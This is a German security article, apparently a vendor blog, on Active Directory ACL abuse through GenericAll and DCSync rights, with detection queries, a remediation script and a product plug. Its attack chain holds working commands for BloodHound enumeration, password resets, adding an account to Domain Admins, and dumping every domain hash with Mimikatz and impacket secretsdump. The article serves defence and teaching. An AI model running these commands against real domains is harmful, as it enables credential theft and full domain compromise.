Was Ist ACL-Missbrauch in Active Directory?
Active Directory-Objekte haben alle Access Control Lists (ACLs), die definieren, wer sie lesen, ändern oder kontrollieren kann. Wenn diese ACLs falsch konfiguriert sind, entstehen stille Privilege-Escalation-Pfade, die traditionelle Sicherheitsgrenzen vollständig umgehen.
Die zwei kritischsten ACL-Fehlkonfigurationen sind GenericAll (vollständige Kontrolle über ein Objekt) und DCSync-Rechte (die Fähigkeit, alle Passwort-Hashes von einem Domain Controller zu replizieren). Beide können von Konten gehalten werden, die sie nicht haben sollten — und beide führen direkt zur vollständigen Domänenkompromittierung.
Im Gegensatz zu Schwachstellen-Exploits erfordert ACL-Missbrauch kein CVE, keinen Patch und erzeugt minimale Logs.
Wie Es Funktioniert
Jedes AD-Objekt hat einen Security Descriptor mit einer Discretionary ACL (DACL). Jeder Eintrag in der DACL ist ein Access Control Entry (ACE), der einem Principal bestimmte Rechte gewährt oder verweigert.
Wenn ein Angreifer ein Konto mit gefährlichen ACEs über hochwertige Ziele kontrolliert, kann er:
- Passwörter privilegierter Konten zurücksetzen
- Mitglieder zu privilegierten Gruppen hinzufügen
- Objekt-Attribute ändern um weiteren Zugang zu erlangen
- Alle Domain-Credentials über DCSync replizieren
Die Angriffskette
Schritt 1 - Gefährliche ACLs Aufzählen
# BloodHound — AD-Daten sammeln
bloodhound-python -u [email protected] -p password -ns 10.10.0.1 -d corp.local -c All
# Konten mit DCSync-Rechten finden (Nicht-DC-Konten)
$dcsyncRights = @("1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2")
Get-ADObject -Filter * -Properties nTSecurityDescriptor | ForEach-Object {
$_.nTSecurityDescriptor.Access | Where-Object {
$_.ObjectType -in $dcsyncRights -and
$_.IdentityReference -notmatch "Domain Controllers"
}
}
Schritt 2 - GenericAll Ausnutzen
# Passwort des Zielkontos mit GenericAll zurücksetzen
$secPwd = ConvertTo-SecureString "NeuesP@ss123!" -AsPlainText -Force
Set-ADAccountPassword -Identity "zieladmin" -Reset -NewPassword $secPwd
# Sich selbst zu einer Gruppe hinzufügen
Add-ADGroupMember -Identity "Domain Admins" -Members "angreifer"
Schritt 3 - DCSync-Rechte Ausnutzen
# Mimikatz DCSync — alle Hashes dumpen
lsadump::dcsync /domain:corp.local /all /csv
impacket-secretsdump -just-dc corp.local/kompromittiertes_konto:[email protected]
Erkennung
Windows Event IDs
| Event ID | Quelle | Worauf zu achten |
|---|---|---|
| 4662 | DC - Security | Operation auf AD-Objekt — Replikationsrechte ausgeübt |
| 4738 | DC - Security | Konto geändert — Passwort-Reset durch unerwartetes Konto |
| 4728/4732/4756 | DC - Security | Mitglied zu privilegierter Gruppe hinzugefügt |
DCSync-Erkennung (Elastic KQL)
event.code: "4662" AND
winlog.event_data.Properties: ("*1131f6ad*" OR "*1131f6aa*") AND
NOT winlog.event_data.SubjectUserName: ("*$" OR "MSOL_*")
💡 Tipp: Jedes Nicht-DC-Konto, das Event 4662 mit Replikations-GUIDs auslöst, ist ein fast sicherer DCSync-Indikator. Alarmieren Sie sofort.
Behebung
⚠️ Priorität: DCSync-Rechte von Nicht-DC-Konten sofort entfernen. Dies ist eine Zero-Toleranz-Fehlkonfiguration.
DCSync-Rechte Entfernen
$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"
$replicationGuids = @(
[GUID]"1131f6aa-9c07-11d1-f79f-00c04fc2dcd2",
[GUID]"1131f6ad-9c07-11d1-f79f-00c04fc2dcd2"
)
$acl.Access | Where-Object {
$_.ObjectType -in $replicationGuids -and
$_.IdentityReference -notmatch "Domain Controllers"
} | ForEach-Object { $acl.RemoveAccessRule($_) }
Set-Acl "AD:\$domainDN" $acl
So Erkennt EtcSec Dies
DCSYNC_CAPABLE identifiziert jedes Nicht-DC-Konto mit DS-Replication-Get-Changes-All-Rechten auf dem Domänen-Root.
ACL_GENERICALL kennzeichnet Konten mit GenericAll-Berechtigungen über hochwertige Ziele.
PATH_ACL_TO_DA identifiziert mehrstufige ACL-Pfade, über die ein wenig privilegiertes Konto Domain Admin erreichen kann.
ℹ️ Hinweis: EtcSec prüft automatisch alle ACLs bei jedem Scan. Starten Sie ein kostenloses Audit um gefährliche Berechtigungspfade zu entdecken.

